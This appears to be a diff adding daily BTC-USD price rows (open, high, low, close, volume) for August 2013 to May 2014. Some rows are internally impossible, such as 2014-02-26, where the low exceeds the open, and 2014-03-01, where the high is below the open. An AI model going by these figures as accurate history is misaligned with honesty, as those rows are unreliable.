+2013-08-20,118.5,123.01000213623047,116.81999969482422,121.19999694824219,121.19999694824219,2926824,BTC-USD +2013-08-21,121.19999694824219,125.0,119.68000030517578,123.30000305175781,123.30000305175781,3760529,BTC-USD +2013-08-22,123.30000305175781,124.48999786376953,120.54000091552734,122.0,122.0,1695452,BTC-USD +2013-08-23,122.0,122.0,118.44000244140625,118.51000213623047,118.51000213623047,2324780,BTC-USD +2013-08-24,118.51000213623047,121.38999938964844,118.0199966430664,119.5999984741211,119.5999984741211,1068849,BTC-USD +2013-08-25,119.5999984741211,122.98999786376953,119.13999938964844,122.11000061035156,122.11000061035156,904128,BTC-USD +2013-08-26,122.11000061035156,122.97000122070312,119.91999816894531,120.06999969482422,120.06999969482422,1386290,BTC-USD +2013-08-27,120.06999969482422,133.0,120.0,131.2899932861328,131.2899932861328,6882690,BTC-USD +2013-08-28,131.2899932861328,131.72000122070312,128.02000427246094,128.75999450683594,128.75999450683594,1627390,BTC-USD +2013-08-29,128.75999450683594,131.1999969482422,128.17999267578125,129.3000030517578,129.3000030517578,1059179,BTC-USD +2013-08-30,129.3000030517578,142.75999450683594,128.55999755859375,138.02999877929688,138.02999877929688,6269713,BTC-USD +2013-08-31,138.02999877929688,148.6999969482422,135.88999938964844,141.0,141.0,4452962,BTC-USD +2013-09-01,141.0,147.2899932861328,141.0,146.00999450683594,146.00999450683594,2035993,BTC-USD +2013-09-02,146.00999450683594,148.5,142.11000061035156,144.0,144.0,1546327,BTC-USD +2013-09-03,144.0,148.91000366210938,142.1999969482422,144.0,144.0,2461257,BTC-USD +2013-09-04,144.0,145.8000030517578,130.08999633789062,132.50999450683594,132.50999450683594,3945752,BTC-USD +2013-09-05,132.50999450683594,137.97000122070312,127.23999786376953,130.1999969482422,130.1999969482422,3561373,BTC-USD +2013-09-06,130.1999969482422,134.0,121.9000015258789,121.9000015258789,121.9000015258789,2435581,BTC-USD +2013-09-07,121.9000015258789,131.02000427246094,121.25,128.99000549316406,128.99000549316406,1796862,BTC-USD +2013-09-08,128.99000549316406,129.8699951171875,124.05999755859375,126.31999969482422,126.31999969482422,926689,BTC-USD +2013-09-09,126.31999969482422,137.47999572753906,124.0,133.10000610351562,133.10000610351562,3908439,BTC-USD +2013-09-10,133.10000610351562,136.02000427246094,131.3800048828125,132.6199951171875,132.6199951171875,1184452,BTC-USD +2013-09-11,132.6199951171875,145.89999389648438,127.5,142.10000610351562,142.10000610351562,5706218,BTC-USD +2013-09-12,142.10000610351562,145.52000427246094,137.50999450683594,139.35000610351562,139.35000610351562,2886300,BTC-USD +2013-09-13,139.35000610351562,145.60000610351562,137.82000732421875,140.66000366210938,140.66000366210938,2869985,BTC-USD +2013-09-14,140.66000366210938,142.0,136.5,136.7100067138672,136.7100067138672,1237692,BTC-USD +2013-09-15,136.7100067138672,141.0,135.0399932861328,138.3000030517578,138.3000030517578,886151,BTC-USD +2013-09-16,138.3000030517578,142.22999572753906,137.89999389648438,139.4199981689453,139.4199981689453,1480693,BTC-USD +2013-09-17,139.4199981689453,141.3699951171875,138.0,139.14999389648438,139.14999389648438,1344189,BTC-USD +2013-09-18,139.14999389648438,142.0,139.00999450683594,140.41000366210938,140.41000366210938,1328386,BTC-USD +2013-09-19,140.41000366210938,141.1999969482422,131.13999938964844,135.0500030517578,135.0500030517578,2862334,BTC-USD +2013-09-20,135.0500030517578,137.27999877929688,131.0,133.80999755859375,133.80999755859375,1484557,BTC-USD +2013-09-21,133.80999755859375,135.99000549316406,132.0,134.3800048828125,134.3800048828125,682674,BTC-USD +2013-09-22,134.3800048828125,135.0,131.0,134.0,134.0,782376,BTC-USD +2013-09-23,134.0,135.0,132.0,133.39999389648438,133.39999389648438,799461,BTC-USD +2013-09-24,133.39999389648438,136.58999633789062,132.5,134.77999877929688,134.77999877929688,1148734,BTC-USD +2013-09-25,134.77999877929688,138.0,134.6999969482422,135.0,135.0,1293657,BTC-USD +2013-09-26,135.0,139.0,134.7100067138672,137.10000610351562,137.10000610351562,886908,BTC-USD +2013-09-27,137.10000610351562,142.66000366210938,134.8300018310547,138.92999267578125,138.92999267578125,3757634,BTC-USD +2013-09-28,138.92999267578125,143.0,138.02000427246094,142.5,142.5,1918884,BTC-USD +2013-09-29,142.5,145.80999755859375,141.36000061035156,143.8800048828125,143.8800048828125,2611317,BTC-USD +2013-09-30,143.8800048828125,145.80999755859375,138.1199951171875,141.89999389648438,141.89999389648438,2067367,BTC-USD +2013-10-01,141.89999389648438,144.44000244140625,139.41000366210938,140.3000030517578,140.3000030517578,1344565,BTC-USD +2013-10-02,140.3000030517578,141.92999267578125,109.69999694824219,123.0,123.0,13888930,BTC-USD +2013-10-03,123.0,132.0,120.0999984741211,130.99000549316406,130.99000549316406,4488527,BTC-USD +2013-10-04,130.99000549316406,139.8000030517578,128.5,136.82000732421875,136.82000732421875,2491501,BTC-USD +2013-10-05,136.82000732421875,138.0,135.3000030517578,136.6999969482422,136.6999969482422,679668,BTC-USD +2013-10-06,136.6999969482422,138.0,134.10000610351562,137.8000030517578,137.8000030517578,665512,BTC-USD +2013-10-07,137.8000030517578,139.0,135.1199951171875,135.8000030517578,135.8000030517578,1006277,BTC-USD +2013-10-08,135.8000030517578,137.77999877929688,135.64999389648438,136.49000549316406,136.49000549316406,707471,BTC-USD +2013-10-09,136.49000549316406,142.10000610351562,135.8000030517578,139.5,139.5,2431349,BTC-USD +2013-10-10,139.5,141.69000244140625,138.50999450683594,140.41000366210938,140.41000366210938,1551392,BTC-USD +2013-10-11,140.41000366210938,141.85000610351562,138.8699951171875,140.10000610351562,140.10000610351562,1013106,BTC-USD +2013-10-12,140.10000610351562,143.0500030517578,139.38999938964844,142.88999938964844,142.88999938964844,1559472,BTC-USD +2013-10-13,142.88999938964844,147.64999389648438,141.5,147.52999877929688,147.52999877929688,2342049,BTC-USD +2013-10-14,147.52999877929688,153.69000244140625,146.02999877929688,151.3699951171875,151.3699951171875,4512823,BTC-USD +2013-10-15,151.3699951171875,158.10000610351562,150.6199951171875,158.08999633789062,158.08999633789062,2416464,BTC-USD +2013-10-16,158.08999633789062,162.99000549316406,144.1999969482422,152.82000732421875,152.82000732421875,6636228,BTC-USD +2013-10-17,152.82000732421875,159.94000244140625,150.75,157.58999633789062,157.58999633789062,2470394,BTC-USD +2013-10-18,157.58999633789062,168.2899932861328,156.49000549316406,168.27999877929688,168.27999877929688,4225505,BTC-USD +2013-10-19,168.27999877929688,195.8000030517578,167.0800018310547,183.14999389648438,183.14999389648438,10000685,BTC-USD +2013-10-20,183.14999389648438,186.10000610351562,177.24000549316406,186.10000610351562,186.10000610351562,2087108,BTC-USD +2013-10-21,186.10000610351562,197.3699951171875,183.17999267578125,192.77999877929688,192.77999877929688,4613540,BTC-USD +2013-10-22,192.77999877929688,205.5,192.7899932861328,202.99000549316406,202.99000549316406,6761835,BTC-USD +2013-10-23,202.99000549316406,227.97999572753906,200.6999969482422,227.97000122070312,227.97000122070312,8526441,BTC-USD +2013-10-24,227.97000122070312,233.3800048828125,175.3000030517578,206.97999572753906,206.97999572753906,19649229,BTC-USD +2013-10-25,206.97999572753906,208.97000122070312,176.60000610351562,197.8800048828125,197.8800048828125,6934330,BTC-USD +2013-10-26,197.8800048828125,198.41000366210938,186.99000549316406,188.55999755859375,188.55999755859375,2322934,BTC-USD +2013-10-27,188.55999755859375,207.80999755859375,188.9499969482422,206.91000366210938,206.91000366210938,2633454,BTC-USD +2013-10-28,206.91000366210938,209.7899932861328,200.4199981689453,206.89999389648438,206.89999389648438,2287257,BTC-USD +2013-10-29,206.89999389648438,216.5,204.1999969482422,216.0,216.0,2119311,BTC-USD +2013-10-30,216.0,216.49000549316406,203.99000549316406,208.0,208.0,2853902,BTC-USD +2013-10-31,208.0,214.99000549316406,205.42999267578125,211.1699981689453,211.1699981689453,1121246,BTC-USD +2013-11-01,211.1699981689453,214.9499969482422,209.7100067138672,213.42999267578125,213.42999267578125,1251780,BTC-USD +2013-11-02,213.42999267578125,214.86000061035156,211.0,211.69000244140625,211.69000244140625,1041300,BTC-USD +2013-11-03,211.69000244140625,226.9499969482422,212.10000610351562,224.0,224.0,2694954,BTC-USD +2013-11-04,224.0,238.97999572753906,221.9499969482422,238.16000366210938,238.16000366210938,4167915,BTC-USD +2013-11-05,238.16000366210938,258.8699951171875,229.0,251.3000030517578,251.3000030517578,11094612,BTC-USD +2013-11-06,251.3000030517578,272.5199890136719,251.41000366210938,264.1000061035156,264.1000061035156,10223786,BTC-USD +2013-11-07,264.1000061035156,324.2099914550781,263.6000061035156,309.6499938964844,309.6499938964844,25582885,BTC-USD +2013-11-08,309.6499938964844,358.0,308.010009765625,355.0,355.0,15072022,BTC-USD +2013-11-09,355.0,394.989990234375,339.989990234375,367.7900085449219,367.7900085449219,18427776,BTC-USD +2013-11-10,367.7900085449219,372.5199890136719,289.9599914550781,336.32000732421875,336.32000732421875,24225281,BTC-USD +2013-11-11,336.32000732421875,375.989990234375,321.4100036621094,362.9800109863281,362.9800109863281,6330618,BTC-USD +2013-11-12,362.9800109863281,391.7900085449219,358.9700012207031,380.0400085449219,380.0400085449219,8309810,BTC-USD +2013-11-13,380.0400085449219,444.9700012207031,372.1700134277344,434.8500061035156,434.8500061035156,14780190,BTC-USD +2013-11-14,434.8500061035156,447.489990234375,402.5400085449219,433.3999938964844,433.3999938964844,13453174,BTC-USD +2013-11-15,433.3999938964844,457.9200134277344,412.9700012207031,433.9200134277344,433.9200134277344,12273745,BTC-USD +2013-11-16,433.9200134277344,476.94000244140625,427.9800109863281,461.9599914550781,461.9599914550781,8737836,BTC-USD +2013-11-17,461.9599914550781,536.75,456.9800109863281,528.2999877929688,528.2999877929688,13340495,BTC-USD +2013-11-18,528.2999877929688,787.9299926757812,521.97998046875,785.4299926757812,785.4299926757812,45461600,BTC-USD +2013-11-19,785.4299926757812,900.9199829101562,502.6099853515625,645.6900024414062,645.6900024414062,69095497,BTC-USD +2013-11-20,645.6900024414062,649.989990234375,453.2900085449219,637.969970703125,637.969970703125,50748177,BTC-USD +2013-11-21,637.969970703125,784.3200073242188,595.1900024414062,764.9099731445312,764.9099731445312,27128283,BTC-USD +2013-11-22,764.9099731445312,821.989990234375,682.280029296875,802.0,802.0,22686962,BTC-USD +2013-11-23,802.0,890.030029296875,799.5399780273438,832.5,832.5,17908081,BTC-USD +2013-11-24,832.5,854.989990234375,745.2100219726562,795.010009765625,795.010009765625,20776035,BTC-USD +2013-11-25,795.010009765625,849.989990234375,758.9500122070312,829.989990234375,829.989990234375,21438670,BTC-USD +2013-11-26,829.989990234375,974.9600219726562,825.0800170898438,969.9600219726562,969.9600219726562,28285852,BTC-USD +2013-11-27,969.9600219726562,1094.780029296875,914.27001953125,1079.8900146484375,1079.8900146484375,37868643,BTC-USD +2013-11-28,1079.8900146484375,1224.47998046875,1032.06005859375,1101.3800048828125,1101.3800048828125,42912383,BTC-USD +2013-11-29,1101.3800048828125,1241.9200439453125,1049.9599609375,1206.9300537109375,1206.9300537109375,45030632,BTC-USD +2013-11-30,1206.9300537109375,1232.93994140625,1150.1600341796875,1205.6600341796875,1205.6600341796875,18266602,BTC-USD +2013-12-01,1205.6600341796875,1216.8399658203125,840.27001953125,1004.3900146484375,1004.3900146484375,83244488,BTC-USD +2013-12-02,1004.3900146484375,1117.72998046875,974.969970703125,1096.56005859375,1096.56005859375,39234863,BTC-USD +2013-12-03,1096.56005859375,1185.6300048828125,1064.9100341796875,1154.8599853515625,1154.8599853515625,21865760,BTC-USD +2013-12-04,1154.8599853515625,1239.699951171875,1131.3499755859375,1237.550048828125,1237.550048828125,19409766,BTC-USD +2013-12-05,1237.550048828125,1239.8599853515625,869.989990234375,1106.3499755859375,1106.3499755859375,62292919,BTC-USD +2013-12-06,1106.3499755859375,1118.9300537109375,800.0700073242188,845.02001953125,845.02001953125,50747162,BTC-USD +2013-12-07,845.02001953125,895.9600219726562,576.030029296875,697.02001953125,697.02001953125,70727083,BTC-USD +2013-12-08,697.02001953125,828.9600219726562,653.030029296875,803.9600219726562,803.9600219726562,23044397,BTC-USD +2013-12-09,803.9600219726562,980.030029296875,787.72998046875,918.9500122070312,918.9500122070312,24553208,BTC-USD +2013-12-10,918.9500122070312,1067.699951171875,911.9600219726562,1033.719970703125,1033.719970703125,21734994,BTC-USD +2013-12-11,1033.719970703125,1056.760009765625,856.0599975585938,919.9299926757812,919.9299926757812,23051224,BTC-USD +2013-12-12,919.9299926757812,940.97998046875,839.510009765625,899.97998046875,899.97998046875,8798283,BTC-USD +2013-12-13,899.97998046875,989.8900146484375,882.1099853515625,936.77001953125,936.77001953125,16173632,BTC-USD +2013-12-14,936.77001953125,947.9299926757812,875.1099853515625,908.9400024414062,908.9400024414062,10532106,BTC-USD +2013-12-15,908.9400024414062,927.9000244140625,837.97998046875,919.8800048828125,919.8800048828125,13302074,BTC-USD +2013-12-16,919.8800048828125,924.9400024414062,714.030029296875,759.9199829101562,759.9199829101562,32899151,BTC-USD +2013-12-17,759.9199829101562,779.9600219726562,678.8800048828125,714.969970703125,714.969970703125,22933905,BTC-USD +2013-12-18,714.969970703125,716.989990234375,454.8599853515625,540.97998046875,540.97998046875,62529030,BTC-USD +2013-12-19,540.97998046875,745.9600219726562,522.4400024414062,731.9500122070312,731.9500122070312,29980041,BTC-USD +2013-12-20,731.9500122070312,774.3900146484375,621.25,649.9600219726562,649.9600219726562,24291048,BTC-USD +2013-12-21,649.9600219726562,690.0,610.0,640.47998046875,640.47998046875,9550420,BTC-USD +2013-12-22,640.47998046875,699.9099731445312,614.9500122070312,639.489990234375,639.489990234375,7693603,BTC-USD +2013-12-23,639.489990234375,724.9199829101562,631.010009765625,713.239990234375,713.239990234375,10210388,BTC-USD +2013-12-24,713.239990234375,729.9400024414062,665.97998046875,702.75,702.75,7647250,BTC-USD +2013-12-25,702.75,709.9500122070312,673.9299926757812,707.25,707.25,3721814,BTC-USD +2013-12-26,707.25,829.6300048828125,707.2100219726562,801.97998046875,801.97998046875,18209291,BTC-USD +2013-12-27,801.97998046875,836.8300170898438,767.8699951171875,803.0499877929688,803.0499877929688,11073604,BTC-USD +2013-12-28,803.0499877929688,805.969970703125,715.5999755859375,761.989990234375,761.989990234375,10127883,BTC-USD +2013-12-29,761.989990234375,803.9500122070312,734.97998046875,784.9600219726562,784.9600219726562,5448579,BTC-USD +2013-12-30,784.9600219726562,818.8300170898438,780.9600219726562,804.8300170898438,804.8300170898438,8411786,BTC-USD +2013-12-31,804.8300170898438,813.9400024414062,776.9600219726562,805.9400024414062,805.9400024414062,7294004,BTC-USD +2014-01-01,805.9400024414062,829.9299926757812,770.969970703125,815.9400024414062,815.9400024414062,8663855,BTC-USD +2014-01-02,815.9400024414062,886.2100219726562,810.469970703125,856.9099731445312,856.9099731445312,10826907,BTC-USD +2014-01-03,856.9099731445312,888.22998046875,839.4400024414062,884.260009765625,884.260009765625,8409629,BTC-USD +2014-01-04,884.260009765625,932.1599731445312,848.3200073242188,924.6900024414062,924.6900024414062,12784626,BTC-USD +2014-01-05,924.6900024414062,1029.8599853515625,911.3599853515625,1014.739990234375,1014.739990234375,20789364,BTC-USD +2014-01-06,1014.739990234375,1093.43994140625,964.739990234375,1012.6500244140625,1012.6500244140625,23622237,BTC-USD +2014-01-07,1012.6500244140625,1043.97998046875,879.8499755859375,879.9000244140625,879.9000244140625,21753921,BTC-USD +2014-01-08,879.9000244140625,966.9000244140625,858.9000244140625,938.8400268554688,938.8400268554688,12942254,BTC-USD +2014-01-09,938.8400268554688,964.6400146484375,866.5499877929688,936.9500122070312,936.9500122070312,13202619,BTC-USD +2014-01-10,936.9500122070312,964.8400268554688,905.8800048828125,957.760009765625,957.760009765625,5909107,BTC-USD +2014-01-11,957.760009765625,1010.8400268554688,935.0,1005.3200073242188,1005.3200073242188,10948175,BTC-USD +2014-01-12,1005.3200073242188,1022.6699829101562,922.0700073242188,939.7899780273438,939.7899780273438,9620090,BTC-USD +2014-01-13,939.7899780273438,949.239990234375,879.9400024414062,922.9099731445312,922.9099731445312,9220891,BTC-USD +2014-01-14,922.9099731445312,942.469970703125,904.1900024414062,919.280029296875,919.280029296875,3960633,BTC-USD +2014-01-15,919.280029296875,973.0900268554688,915.0599975585938,941.219970703125,941.219970703125,6448062,BTC-USD +2014-01-16,941.219970703125,955.530029296875,910.5,913.489990234375,913.489990234375,4720008,BTC-USD +2014-01-17,913.489990234375,929.75,867.219970703125,894.1599731445312,894.1599731445312,9203107,BTC-USD +2014-01-18,894.1599731445312,924.739990234375,884.739990234375,905.719970703125,905.719970703125,5493742,BTC-USD +2014-01-19,905.719970703125,958.0700073242188,901.8800048828125,954.7999877929688,954.7999877929688,7071649,BTC-USD +2014-01-20,954.7999877929688,980.5399780273438,925.9600219726562,955.9500122070312,955.9500122070312,9981282,BTC-USD +2014-01-21,955.9500122070312,974.25,943.1799926757812,962.2100219726562,962.2100219726562,6289022,BTC-USD +2014-01-22,962.2100219726562,973.9400024414062,934.9500122070312,950.9500122070312,950.9500122070312,4503428,BTC-USD +2014-01-23,950.9500122070312,958.0599975585938,936.27001953125,944.1599731445312,944.1599731445312,1839615,BTC-USD +2014-01-24,944.1599731445312,949.52001953125,902.8900146484375,916.5499877929688,916.5499877929688,5684047,BTC-USD +2014-01-25,916.5499877929688,978.4099731445312,915.8599853515625,961.0499877929688,961.0499877929688,7797108,BTC-USD +2014-01-26,961.0499877929688,1038.06005859375,950.6599731445312,1007.0,1007.0,13054605,BTC-USD +2014-01-27,1007.0,1021.4500122070312,937.22998046875,943.5399780273438,943.5399780273438,8052715,BTC-USD +2014-01-28,943.5399780273438,972.6099853515625,911.6500244140625,932.6799926757812,932.6799926757812,9757613,BTC-USD +2014-01-29,932.6799926757812,950.5599975585938,918.8599853515625,925.6699829101562,925.6699829101562,5254878,BTC-USD +2014-01-30,925.6699829101562,953.239990234375,909.4600219726562,941.3900146484375,941.3900146484375,5026461,BTC-USD +2014-01-31,941.3900146484375,954.7100219726562,924.5900268554688,938.8499755859375,938.8499755859375,4024749,BTC-USD +2014-02-01,938.8499755859375,969.1900024414062,927.7999877929688,940.4199829101562,940.4199829101562,4118865,BTC-USD +2014-02-02,940.4199829101562,959.3800048828125,934.4099731445312,953.3099975585938,953.3099975585938,1495327,BTC-USD +2014-02-03,953.3099975585938,959.5800170898438,931.6699829101562,931.7100219726562,931.7100219726562,2601784,BTC-USD +2014-02-04,931.7100219726562,949.0999755859375,900.760009765625,926.6400146484375,926.6400146484375,4250751,BTC-USD +2014-02-05,926.6400146484375,939.75,890.0499877929688,904.52001953125,904.52001953125,6865987,BTC-USD +2014-02-06,904.52001953125,908.77001953125,800.9299926757812,828.8699951171875,828.8699951171875,15719958,BTC-USD +2014-02-07,828.8699951171875,833.0700073242188,651.72998046875,695.6500244140625,695.6500244140625,36412212,BTC-USD +2014-02-08,695.6500244140625,719.260009765625,632.0800170898438,648.780029296875,648.780029296875,15503790,BTC-USD +2014-02-09,648.780029296875,694.1199951171875,622.530029296875,659.5700073242188,659.5700073242188,13186251,BTC-USD +2014-02-10,659.5700073242188,700.0399780273438,500.0400085449219,582.6300048828125,582.6300048828125,24334044,BTC-USD +2014-02-11,582.6300048828125,609.7100219726562,550.219970703125,578.9600219726562,578.9600219726562,9621820,BTC-USD +2014-02-12,578.9600219726562,585.1199951171875,511.8999938964844,531.1300048828125,531.1300048828125,11628634,BTC-USD +2014-02-13,531.1300048828125,549.2000122070312,451.3299865722656,451.44000244140625,451.44000244140625,14394464,BTC-USD +2014-02-14,451.44000244140625,500.0299987792969,302.17999267578125,427.67999267578125,427.67999267578125,25084223,BTC-USD +2014-02-15,427.67999267578125,447.94000244140625,310.0799865722656,371.07000732421875,371.07000732421875,18299075,BTC-USD +2014-02-16,371.07000732421875,540.030029296875,220.3699951171875,299.79998779296875,299.79998779296875,26267622,BTC-USD +2014-02-17,299.79998779296875,411.2099914550781,263.3599853515625,272.2799987792969,272.2799987792969,16532226,BTC-USD +2014-02-18,272.2799987792969,370.1199951171875,248.30999755859375,293.95001220703125,293.95001220703125,14130126,BTC-USD +2014-02-19,293.95001220703125,308.6300048828125,257.239990234375,261.5299987792969,261.5299987792969,8618299,BTC-USD +2014-02-20,261.5299987792969,271.6099853515625,109.22000122070312,111.91999816894531,111.91999816894531,16608347,BTC-USD +2014-02-21,111.91999816894531,160.14999389648438,91.66000366210938,111.55999755859375,111.55999755859375,10115923,BTC-USD +2014-02-22,111.55999755859375,290.5899963378906,96.72000122070312,255.58999633789062,255.58999633789062,11838225,BTC-USD +2014-02-23,255.58999633789062,349.1499938964844,220.30999755859375,310.1700134277344,310.1700134277344,11158706,BTC-USD +2014-02-24,310.1700134277344,316.8800048828125,131.85000610351562,174.0,174.0,17929284,BTC-USD +2014-02-25,174.0,174.63999938964844,102.33000183105469,135.77999877929688,135.77999877929688,3993023,BTC-USD +2014-02-26,135.77999877929688,650.0,522.8400268554688,593.1400146484375,593.1400146484375,383571,BTC-USD +2014-02-27,593.1400146484375,629.9000244140625,580.5,596.489990234375,596.489990234375,322887,BTC-USD +2014-02-28,596.489990234375,599.0,570.0,573.9400024414062,573.9400024414062,321170,BTC-USD +2014-03-01,573.9400024414062,564.0700073242188,262.7699890136719,557.3900146484375,557.3900146484375,250331,BTC-USD +2014-03-02,557.3900146484375,562.9299926757812,541.5399780273438,544.5599975585938,544.5599975585938,469498,BTC-USD +2014-03-03,544.5599975585938,695.4400024414062,545.4199829101562,662.1799926757812,662.1799926757812,794976,BTC-USD +2014-03-04,662.1799926757812,686.219970703125,645.1599731445312,661.8499755859375,661.8499755859375,947328,BTC-USD +2014-03-05,661.8499755859375,665.969970703125,636.77001953125,658.2999877929688,658.2999877929688,855787,BTC-USD +2014-03-06,658.2999877929688,661.8300170898438,636.219970703125,648.260009765625,648.260009765625,1367401,BTC-USD +2014-03-07,648.260009765625,655.2000122070312,600.3099975585938,616.72998046875,616.72998046875,1498290,BTC-USD +2014-03-08,616.72998046875,625.6799926757812,588.5800170898438,609.2100219726562,609.2100219726562,1335982,BTC-USD +2014-03-09,609.2100219726562,637.5999755859375,598.510009765625,627.0499877929688,627.0499877929688,1209993,BTC-USD +2014-03-10,627.0499877929688,633.6799926757812,594.7000122070312,612.969970703125,612.969970703125,1648979,BTC-USD +2014-03-11,612.969970703125,619.7000122070312,599.9199829101562,608.6900024414062,608.6900024414062,1520733,BTC-USD +2014-03-12,608.6900024414062,640.7899780273438,608.2000122070312,619.4299926757812,619.4299926757812,2022394,BTC-USD +2014-03-13,619.4299926757812,636.1300048828125,616.0599975585938,625.0399780273438,625.0399780273438,2168407,BTC-USD +2014-03-14,625.0399780273438,631.22998046875,610.6099853515625,614.030029296875,614.030029296875,2514218,BTC-USD +2014-03-15,614.030029296875,628.8300170898438,609.1799926757812,624.030029296875,624.030029296875,2168732,BTC-USD +2014-03-16,624.030029296875,627.280029296875,613.1699829101562,619.1400146484375,619.1400146484375,2055390,BTC-USD +2014-03-17,619.1400146484375,622.489990234375,602.739990234375,606.3800048828125,606.3800048828125,2227123,BTC-USD +2014-03-18,606.3800048828125,611.719970703125,585.6599731445312,598.9299926757812,598.9299926757812,2234320,BTC-USD +2014-03-19,598.9299926757812,607.0800170898438,590.1400146484375,594.9600219726562,594.9600219726562,2164735,BTC-USD +2014-03-20,594.9600219726562,598.4099731445312,560.3499755859375,565.989990234375,565.989990234375,2471474,BTC-USD +2014-03-21,565.989990234375,587.4199829101562,540.219970703125,549.5999755859375,549.5999755859375,2173864,BTC-USD +2014-03-22,549.5999755859375,569.9600219726562,537.1599731445312,564.3400268554688,564.3400268554688,2078360,BTC-USD +2014-03-23,564.3400268554688,564.3200073242188,538.6300048828125,551.1599731445312,551.1599731445312,2286135,BTC-USD +2014-03-24,551.1599731445312,572.52001953125,531.27001953125,567.5599975585938,567.5599975585938,2024402,BTC-USD +2014-03-25,567.5599975585938,569.6599731445312,550.4299926757812,562.8900146484375,562.8900146484375,2172190,BTC-USD +2014-03-26,562.8900146484375,575.4199829101562,546.260009765625,562.4500122070312,562.4500122070312,2087611,BTC-USD +2014-03-27,562.4500122070312,567.75,460.45001220703125,460.45001220703125,460.45001220703125,2010894,BTC-USD +2014-03-28,460.45001220703125,514.9500122070312,453.75,482.6099853515625,482.6099853515625,2022261,BTC-USD +2014-03-29,482.6099853515625,494.2799987792969,473.7799987792969,477.1099853515625,477.1099853515625,2087784,BTC-USD +2014-03-30,477.1099853515625,479.0400085449219,424.0299987792969,446.9200134277344,446.9200134277344,1769770,BTC-USD +2014-03-31,446.9200134277344,473.42999267578125,422.489990234375,444.6600036621094,444.6600036621094,1850592,BTC-USD +2014-04-01,444.6600036621094,487.3500061035156,438.0299987792969,463.45001220703125,463.45001220703125,1845836,BTC-USD +2014-04-02,463.45001220703125,480.2699890136719,409.25,424.3699951171875,424.3699951171875,2004152,BTC-USD +2014-04-03,424.3699951171875,448.739990234375,386.6700134277344,436.30999755859375,436.30999755859375,1708540,BTC-USD +2014-04-04,436.30999755859375,456.4599914550781,415.510009765625,444.3599853515625,444.3599853515625,1127311,BTC-USD +2014-04-05,444.3599853515625,461.1700134277344,439.3699951171875,456.6300048828125,456.6300048828125,529964,BTC-USD +2014-04-06,456.6300048828125,472.3800048828125,446.29998779296875,455.69000244140625,455.69000244140625,1644846,BTC-USD +2014-04-07,455.69000244140625,485.05999755859375,447.9800109863281,462.3800048828125,462.3800048828125,1847982,BTC-USD +2014-04-08,462.3800048828125,480.69000244140625,457.57000732421875,466.55999755859375,466.55999755859375,1839605,BTC-USD +2014-04-09,466.55999755859375,479.6600036621094,451.07000732421875,457.3399963378906,457.3399963378906,1809262,BTC-USD +2014-04-10,457.3399963378906,463.45001220703125,384.6300048828125,384.6300048828125,384.6300048828125,1547153,BTC-USD +2014-04-11,384.6300048828125,450.3999938964844,355.7099914550781,435.1400146484375,435.1400146484375,2175242,BTC-USD +2014-04-12,435.1400146484375,469.8299865722656,428.0199890136719,437.6499938964844,437.6499938964844,2293511,BTC-USD +2014-04-13,437.6499938964844,454.1499938964844,409.8500061035156,427.6000061035156,427.6000061035156,2143146,BTC-USD +2014-04-14,427.6000061035156,497.8299865722656,420.0799865722656,478.3800048828125,478.3800048828125,3546258,BTC-USD +2014-04-15,478.3800048828125,526.6300048828125,466.42999267578125,526.4299926757812,526.4299926757812,3945871,BTC-USD +2014-04-16,526.4299926757812,549.0499877929688,496.0799865722656,536.9500122070312,536.9500122070312,4192651,BTC-USD +2014-04-17,536.9500122070312,537.030029296875,486.8900146484375,502.0,502.0,4097576,BTC-USD +2014-04-18,502.0,512.1500244140625,472.0,485.5199890136719,485.5199890136719,4112826,BTC-USD +2014-04-19,485.5199890136719,516.8900146484375,473.1600036621094,506.0199890136719,506.0199890136719,4154929,BTC-USD +2014-04-20,506.0199890136719,522.219970703125,488.69000244140625,498.510009765625,498.510009765625,3879198,BTC-USD +2014-04-21,498.510009765625,524.6699829101562,490.6600036621094,495.1600036621094,495.1600036621094,3688692,BTC-USD +2014-04-22,495.1600036621094,520.510009765625,483.3900146484375,487.9100036621094,487.9100036621094,2824567,BTC-USD +2014-04-23,487.9100036621094,509.9599914550781,482.25,487.29998779296875,487.29998779296875,2340457,BTC-USD +2014-04-24,487.29998779296875,507.3299865722656,477.2200012207031,500.2900085449219,500.2900085449219,2075376,BTC-USD +2014-04-25,500.2900085449219,502.489990234375,438.3299865722656,464.489990234375,464.489990234375,3000226,BTC-USD +2014-04-26,464.489990234375,468.67999267578125,448.57000732421875,457.8699951171875,457.8699951171875,3157540,BTC-USD +2014-04-27,457.8699951171875,461.3999938964844,437.3900146484375,443.17999267578125,443.17999267578125,3154922,BTC-USD +2014-04-28,443.17999267578125,451.1199951171875,420.7799987792969,441.9200134277344,441.9200134277344,2004954,BTC-USD +2014-04-29,441.9200134277344,453.7799987792969,430.7099914550781,446.1199951171875,446.1199951171875,1670352,BTC-USD +2014-04-30,446.1199951171875,452.6400146484375,430.8900146484375,445.6300048828125,445.6300048828125,1831533,BTC-USD +2014-05-01,445.6300048828125,464.489990234375,444.510009765625,460.1300048828125,460.1300048828125,1915772,BTC-USD +2014-05-02,460.1300048828125,463.3800048828125,442.0,453.6700134277344,453.6700134277344,1532239,BTC-USD +2014-05-03,453.6700134277344,454.20001220703125,429.0899963378906,438.6499938964844,438.6499938964844,1143291,BTC-USD +2014-05-04,438.6499938964844,446.6099853515625,428.7900085449219,436.04998779296875,436.04998779296875,1470650,BTC-USD +2014-05-05,436.04998779296875,443.8599853515625,426.3699951171875,430.8699951171875,430.8699951171875,1328247,BTC-USD +2014-05-06,430.8699951171875,434.95001220703125,420.2300109863281,432.19000244140625,432.19000244140625,1809731,BTC-USD +2014-05-07,432.19000244140625,458.7799987792969,423.54998779296875,446.54998779296875,446.54998779296875,2209759,BTC-USD +2014-05-08,446.54998779296875,455.5,439.5,441.1099853515625,441.1099853515625,1134338,BTC-USD +2014-05-09,441.1099853515625,455.7799987792969,438.5,445.45001220703125,445.45001220703125,1013830,BTC-USD +2014-05-10,445.45001220703125,459.4599914550781,441.42999267578125,451.8999938964844,451.8999938964844,210112,BTC-USD +2014-05-11,451.8999938964844,455.3999938964844,429.0199890136719,433.2300109863281,433.2300109863281,845213,BTC-USD +2014-05-12,433.2300109863281,441.07000732421875,430.19000244140625,438.2099914550781,438.2099914550781,610287,BTC-USD +2014-05-13,438.2099914550781,442.2699890136719,432.739990234375,433.9200134277344,433.9200134277344,1164049,BTC-USD +2014-05-14,433.9200134277344,444.2799987792969,433.8800048828125,442.6300048828125,442.6300048828125,978031,BTC-USD +2014-05-15,442.6300048828125,450.0299987792969,441.4700012207031,448.1000061035156,448.1000061035156,989003,BTC-USD 